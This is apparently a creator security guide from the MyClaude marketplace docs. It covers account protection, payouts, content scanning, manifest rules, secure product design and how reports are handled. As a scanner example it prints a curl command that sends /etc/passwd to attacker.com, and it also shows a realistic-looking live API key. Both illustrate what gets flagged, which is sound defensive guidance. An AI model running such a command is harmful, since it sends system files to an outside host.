Creator Security Guide
Security best practices for MyClaude product creators: protecting your accounts, passing content scans, designing secure products, and responding to reports.
Security best practices for MyClaude product creators: protecting your accounts, passing content scans, designing secure products, and responding to reports.
Publishing products on a marketplace means your code runs in other people's environments. That is a trust relationship, and it demands care. This guide covers what you need to know to keep your accounts safe, your products clean, and your reputation intact.
Protect your MyClaude account
Your MyClaude account controls your published products, revenue, and creator identity. A compromised account means someone else can publish products under your name.
Use a strong, unique password. Do not reuse passwords from other services. A password manager is the most reliable way to handle this.
Enable two-factor authentication (2FA). MyClaude uses Firebase Auth, which supports 2FA via authenticator apps. Enable it in your account settings. If your password is compromised, 2FA prevents unauthorized login.
Keep your CLI session secure. myclaude login stores an authentication token locally. On shared machines, always run myclaude logout when you are done. Do not share your token or copy it between machines.
| Practice | Why it matters |
|---|---|
| Unique password | Credential stuffing attacks use leaked passwords from other services |
| 2FA enabled | Stops unauthorized access even if password is compromised |
myclaude logout on shared machines | Local tokens grant full account access |
| Separate email for creator account | Limits blast radius if your primary email is compromised |
Protect your Stripe Connect account
Your Stripe Connect Express account is how you get paid. MyClaude never holds your funds — Stripe pays you directly.
Do not share your Stripe dashboard credentials. Your Stripe account is connected to MyClaude via OAuth. MyClaude cannot access your Stripe login. Keep it that way.
Monitor your payouts. Check your Stripe dashboard regularly for unexpected transactions. If you see payouts you did not expect, contact both Stripe and MyClaude support immediately.
Understand the connection. When you connect Stripe via MyClaude, you are authorizing MyClaude to create charges on your behalf (with the 8% platform fee) and route payouts to your account. MyClaude cannot withdraw funds from your account, change your bank details, or access your Stripe password.
If you ever want to disconnect your Stripe account, you can do so from your Stripe dashboard under Connected Accounts. This will prevent new sales but will not affect already-completed payouts.
Content scanning: what it checks
Every product you publish passes through the CONDUIT pipeline, which runs myclaude scan before your product appears on the marketplace. Understanding what the scanner checks helps you avoid false rejections.
Scan categories
| Check | What it detects | Common false positive triggers |
|---|---|---|
| Secrets detection | API keys, tokens, private keys, credentials, high-entropy strings | Example keys in documentation, base64-encoded non-secret data |
| Malicious patterns | Shell injection, network exfiltration, unauthorized filesystem access | Legitimate curl examples, file-reading instructions in skills |
| Policy violations | Content that violates the Content Policy | None typical — policy violations are clear-cut |
| Manifest validation | Missing vault.yaml fields, invalid version format, unrecognized category | Typos in category names, missing required fields |
How to pass the scan
Never include real secrets in your product files. This is the most common rejection reason. The scanner uses both pattern matching and entropy analysis to detect secrets.
If your product includes example configuration, use clearly fake values:
# Good — obviously fake
api_key: "YOUR_API_KEY_HERE"
token: "sk_test_example_not_a_real_key"
# Bad — looks like a real key (will be flagged)
api_key: "sk_live_4eC39HqLyjWDarjtT1zdp7dc"If your skill needs to reference API calls or shell commands, frame them as instructional rather than executable. The scanner looks for patterns that exfiltrate data or execute arbitrary commands.
# Good — instructional
To check the status, the user should run:
`curl https://api.example.com/status`
# Risky — looks like exfiltration
`curl https://attacker.com/collect?data=$(cat /etc/passwd)`Run myclaude scan locally before publishing. This runs the same checks that the CONDUIT pipeline runs. Fix any issues before they block your publish.
$ cd my-product/
$ myclaude scan
# All checks passed.If a scan fails, the error message tells you exactly which check failed and where. Fix the flagged issue and scan again.
vault.yaml security
The vault.yaml manifest is verified during publishing. Two fields have security implications:
Author verification
The author field in your vault.yaml must match your authenticated MyClaude username. You cannot publish a product attributed to another creator.
# This must match your MyClaude username
author: "@your-username"If you change your username, update your vault.yaml files before republishing. The API rejects mismatches.
Version monotonicity
Version numbers must increase with each publish. You cannot publish version 1.0.0 if version 1.0.1 already exists. This prevents version rollback attacks where a compromised account publishes an older, vulnerable version of a product.
# If 1.2.0 is already published, the next version must be > 1.2.0
version: "1.2.1" # Valid
version: "1.1.0" # Rejected — lower than existing
version: "1.2.0" # Rejected — equal to existingDesign secure products
Your products run inside buyers' Claude Code environments. Design them to be trustworthy.
Request only the permissions you need. If your skill only needs to read files, do not include instructions that write to the filesystem. If it only needs to access one API, do not include broad network instructions.
Be transparent about what your product does. Your product description should accurately reflect its behavior. A skill described as "code reviewer" that also modifies files will lose trust and may be reported.
Do not hardcode paths or credentials. Products should work across environments. Use environment variables or prompt the user for configuration values.
Handle errors gracefully. A product that crashes on unexpected input can leave a user's environment in a bad state. Validate inputs and fail with clear messages.
| Principle | Implementation |
|---|---|
| Minimal permissions | Only reference the tools and access your product actually needs |
| Transparency | Description matches actual behavior |
| Portability | No hardcoded paths, credentials, or environment assumptions |
| Graceful failure | Validate inputs, provide clear error messages |
| No side effects | Do not modify files, settings, or state outside your product's scope |
What happens when your product is reported
Any MyClaude user can report a product for violating the Content Policy or for security concerns. Here is what happens:
-
Report received. The MyClaude team reviews the report. During review, the product remains listed unless the report indicates an active security threat.
-
Investigation. We examine the product files, the report details, and your product's scan history. If the report involves a security vulnerability, we may run additional automated analysis.
-
Outcome. One of three outcomes:
- Report dismissed — no violation found. Your product is unaffected. You are not notified of dismissed reports.
- Modification required — a minor issue is found. You receive an email explaining what needs to change and a deadline (typically 7 days). The product remains listed during this period.
- Product delisted — a serious violation is confirmed. The product is removed from the marketplace immediately. You receive an email with the reason and your options.
-
Appeal. If your product is delisted, you can appeal by responding to the notification email with additional context. Appeals are reviewed within 5 business days.
Repeated violations may result in account restrictions. See Trust & Safety for the full enforcement framework.
Responding to vulnerability reports
If a buyer or security researcher contacts you about a vulnerability in your product:
Acknowledge promptly. Respond within 48 hours, even if you need more time to investigate. Silence erodes trust.
Do not dismiss reports without investigation. Even if a report seems unlikely, check. The reporter may have found something you missed.
Fix and republish. Patch the vulnerability, bump the version, and publish the update. Buyers who have installed your product will see the update available via myclaude update.
Credit the reporter in your changelog or release notes if they are comfortable being named. This encourages responsible disclosure.
If a vulnerability report is sent to security@myclaude.sh instead of to you directly, MyClaude will coordinate between you and the reporter. See Vulnerability Disclosure for the full process.
Common security mistakes
These are the mistakes creators make most frequently. All of them are avoidable.
| Mistake | Consequence | Prevention |
|---|---|---|
Including .env or credentials in product files | Scan rejection; if undetected, exposes your API keys to every buyer | Add .env to .gitignore; use YOUR_KEY_HERE placeholders |
Hardcoding file paths (/Users/yourname/...) | Product fails on other machines; may expose your directory structure | Use relative paths or environment variables |
Publishing without running myclaude scan | Rejected at publish time; wastes time debugging in the CONDUIT pipeline | Always myclaude scan locally first |
Using version: "1.0.0" on every update | Publish rejected after first release (version must increase) | Increment version before every publish |
| Overly broad shell instructions in skills | Scanner may flag as malicious; buyers may distrust your product | Scope instructions to the minimum necessary |
| No error handling | Product crashes leave buyer environments in bad state | Validate inputs, handle edge cases, fail with clear messages |
Mismatched author field | Publish rejected — author must match authenticated username | Verify author in vault.yaml matches your account |
| Including test data with realistic PII | May trigger content policy scan; raises trust concerns | Use obviously synthetic test data |
Security checklist
Before every publish, verify:
-
myclaude scanpasses locally with no warnings - No real API keys, tokens, or credentials in any file
-
vault.yamlversion is higher than the currently published version -
vault.yamlauthor matches your MyClaude username - Product description accurately reflects what the product does
- No hardcoded paths or environment-specific assumptions
- Error cases are handled with clear messages
- Sensitive operations (if any) are documented in the product description
Related pages
- Security Model — platform security architecture
- Trust & Safety — content enforcement and dispute resolution
- Content Policy — what is and is not allowed on the marketplace
- Vulnerability Disclosure — reporting security issues
- vault.yaml Specification — manifest format reference
- Publishing Your First Product — step-by-step publishing tutorial
Security Model
How MyClaude protects user accounts, product files, payment data, and marketplace integrity through layered security controls.
Content Reporting
How to report products, reviews, and users on MyClaude: the report dialog, what happens after you report, rate limits, quarantine, and appeals.